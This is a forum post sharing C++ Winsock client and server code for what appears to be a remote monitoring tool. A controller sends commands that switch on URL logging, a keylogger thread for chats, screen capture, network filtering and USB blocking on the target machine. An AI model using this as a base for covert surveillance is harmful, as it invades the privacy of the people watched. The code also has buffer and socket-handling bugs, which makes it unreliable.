here is code for client that connected to server
WORD wVersionRequested;<br />
WSADATA wsaData;<br />
SOCKET conn;<br />
struct sockaddr_in server;<br />
<br />
wVersionRequested = MAKEWORD(2,0);<br />
if(WSAStartup( wVersionRequested, &wsaData)==0)<br />
{<br />
conn=socket(AF_INET,SOCK_STREAM,0);<br />
if(conn==INVALID_SOCKET)<br />
AfxMessageBox("Socket Created Fails");<br />
bool urlog=false; bool chatlog=false;<br />
bool blknet=false;bool blkusb=false;<br />
bool scrcap=false;<br />
<br />
CISFControllerDlg *obj=(CISFControllerDlg*)parame;<br />
server.sin_addr.s_addr=inet_addr((char*)(LPCTSTR)obj->m_strIp);<br />
server.sin_family=AF_INET;<br />
server.sin_port=htons(8085);<br />
if(connect(conn,(struct sockaddr*)&server,sizeof(server))==0)<br />
{<br />
HWND hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKLOGURL);<br />
if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
{<br />
send(conn,"11",strlen("11"),0);<br />
AfxMessageBox("11");<br />
urlog=true;<br />
}<br />
else<br />
{<br />
send(conn,"12",strlen("12"),0);<br />
}<br />
hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKLOGCHAT);<br />
if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
{<br />
send(conn,"21",strlen("21"),0);<br />
chatlog=true;<br />
}<br />
else<br />
{<br />
send(conn,"22",strlen("22"),0);<br />
}<br />
hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKBLKNTWK);<br />
if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
{<br />
send(conn,"31",strlen("31"),0);<br />
blknet=true;<br />
}<br />
else<br />
{<br />
send(conn,"32",strlen("32"),0);<br />
}<br />
hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKSRCCAP);<br />
if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
{<br />
send(conn,"41",strlen("41"),0);<br />
obj->m_SleepTime.TrimLeft();<br />
obj->m_SleepTime.TrimRight();<br />
t=(char*)(LPCTSTR)obj->m_SleepTime;<br />
send(conn,t,strlen(t),0);<br />
ShowWindow(GetDlgItem(obj->m_hWnd,IDC_EDSCTIME),false);<br />
ShowWindow(GetDlgItem(obj->m_hWnd,IDC_STATICTIME),false);<br />
scrcap=true;<br />
}<br />
else<br />
{<br />
send(conn,"42",strlen("42"),0);<br />
}<br />
hCbox= GetDlgItem(obj->m_hWnd,IDC_CHKUSB);<br />
if(SendMessage(hCbox,BM_GETCHECK,0,0)==BST_CHECKED)<br />
{<br />
send(conn,"51",strlen("51"),0);<br />
blkusb=true;<br />
}<br />
else<br />
{<br />
send(conn,"52",strlen("52"),0);<br />
}<br />
obj->m_LLobj.UpdateLinkList(obj->m_strIp,urlog,chatlog,blkusb,blknet,scrcap);<br />
}<br />
else<br />
AfxMessageBox("Connect Fails");<br />
closesocket(conn);<br />
shutdown(conn,2);<br />
}<br />
else<br />
AfxMessageBox("Start UP Fails");<br />
WSACleanup();<br />
return 0;<br />
}
here is the server portion both r in seperate thread.
WORD wVersionRequested;<br />
WSADATA wsaData;<br />
wVersionRequested = MAKEWORD(2,0);<br />
if(WSAStartup( wVersionRequested, &wsaData) == 0 )<br />
{<br />
while(bRunService)<br />
{<br />
int sockfd, new_fd;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
int sin_size;<br />
char *yes="1";<br />
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) <br />
AfxMessageBox("Socket Creation Failed");<br />
if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,yes,sizeof(yes)) == -1) <br />
AfxMessageBox("set socket app");<br />
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(8085);
my_addr.sin_addr.s_addr =INADDR_ANY;
memset(&(my_addr.sin_zero), '\0', 8);
<br />
if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))== -1) <br />
AfxMessageBox("IP not binded");<br />
<br />
if (listen(sockfd, 5) == -1) <br />
AfxMessageBox("Listen Failed");<br />
<br />
sin_size = sizeof(struct sockaddr_in);<br />
if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,&sin_size)) == -1)<br />
AfxMessageBox("accept failed");
<br />
AfxMessageBox("Accept");<br />
for (int i=0;i<4;i++){<br />
int numbytes;<br />
char buf[5];<br />
if((numbytes=recv(new_fd,buf,2,0))==0)<br />
AfxMessageBox("Conn Forcefully Rejected Receive Error");<br />
else<br />
{<br />
buf[(numbytes+1)] = '\0';<br />
AfxMessageBox(buf);<br />
int choice=atoi(buf);<br />
switch(choice)<br />
{<br />
case 11:
if(!bLogUrl)<br />
{<br />
bLogUrl=TRUE;<br />
RegisterBHO();<br />
}<br />
break;<br />
case 12:<br />
if(bLogUrl)<br />
{<br />
bLogUrl=FALSE;<br />
UnregisterBHO();<br />
}<br />
break;<br />
case 21:
if (!bLogChat) <br />
{<br />
bLogChat=TRUE;<br />
StartKeyloggerThread();<br />
}<br />
break;<br />
case 22:<br />
bLogChat=FALSE;<br />
break;<br />
case 31:
if (!bAddFilters)<br />
{<br />
bAddFilters=TRUE;<br />
AddSingleFilter();<br />
}<br />
break;<br />
case 32:
if (bAddFilters)<br />
{<br />
bAddFilters=FALSE;<br />
RemoveSingleFilter();<br />
}<br />
break;<br />
case 41:
if (!bScreenCap)<br />
{<br />
char temp[5];<br />
numbytes=recv(new_fd,temp,strlen(buf),0);<br />
bScreenCap=TRUE;<br />
temp[numbytes+1]='\0';<br />
AfxMessageBox(temp);<br />
SleepTime=atoi(temp);<br />
StartScreenCapThread();<br />
}<br />
break;<br />
case 42:<br />
bScreenCap=FALSE;<br />
break;<br />
case 51:
AfxMessageBox("51");<br />
break;<br />
case 52:<br />
AfxMessageBox("52");<br />
break;<br />
}}
}
closesocket(new_fd);<br />
closesocket(sockfd);<br />
shutdown(sockfd,2);<br />
shutdown(new_fd,2);<br />
}
}<br />
WSACleanup();<br />
return 0;
its too long but it is it.
Tasleem Arif
|